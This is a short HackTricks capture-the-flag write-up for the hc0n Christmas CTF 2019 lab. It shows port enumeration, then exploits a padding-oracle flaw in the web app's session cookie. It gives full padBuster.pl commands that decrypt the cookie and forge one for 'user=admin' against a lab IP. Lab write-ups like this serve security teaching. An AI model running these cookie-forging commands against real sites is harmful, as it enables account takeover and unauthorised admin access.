hacktricks/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md
2023-04-25 20:35:28 +02:00

4.4 KiB

hc0n Christmas CTF - 2019

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Enumeration

I started enumerating the machine using my tool Legion:

There are 2 ports open: 80 (HTTP) and 22 (SSH)

In the web page you can register new users, and I noticed that the length of the cookie depends on the length of the username indicated:

And if you change some byte of the cookie you get this error:

With this information and reading the padding oracle vulnerability I was able to exploit it:

perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy"

Set user admin:

perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin"

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥